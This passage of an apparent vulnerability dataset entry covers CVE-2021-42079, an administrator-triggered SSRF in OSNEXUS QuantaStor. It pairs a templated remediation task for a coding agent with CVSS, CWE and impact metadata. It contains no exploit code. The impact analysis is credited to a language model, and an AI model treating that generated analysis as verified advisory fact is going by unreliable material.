An attacker needs administrator access to exploit it, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of CVE-2021-42079 in the wild and no public exploit code.\n\nAffected product: OSNEXUS QuantaStor. No package-level version data is available, so check the vendor advisory linked from the reference page.\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/CVE-2021-42079/ (Markdown: https://insights.sbomify.com/CVE-2021-42079/index.md)","id":"CVE-2021-42079","markdown":"https://insights.sbomify.com/CVE-2021-42079/index.md","name":"CVE-2021-42079","record":{"aliases":["GHSA-4v64-w7v7-ch7f"],"analysis":{"component_type":"server_software","fix_type":"upgrade","impacts":["data_read","security_bypass"],"network_reachable":"yes","non_default_config":false,"product_category":"Storage management software","requires_auth":"high_privilege","summary":"An authenticated administrator can trigger Server-Side Request Forgery via alert configuration, allowing internal network access or data exfiltration.","user_interaction":"required","vuln_class":"ssrf"},"analysis_generated_by":"qwen3.8-flash-next","assigner":"DIVD","cpe":[{"product":"quantastor","vendor":"osnexus"}],"cvss":{"score":6.2,"severity":"medium","source":"cna","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N","version":"3.1"},"cwes":[{"id":"CWE-918","name":"Server-Side Request Forgery"}],"description":"An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack.
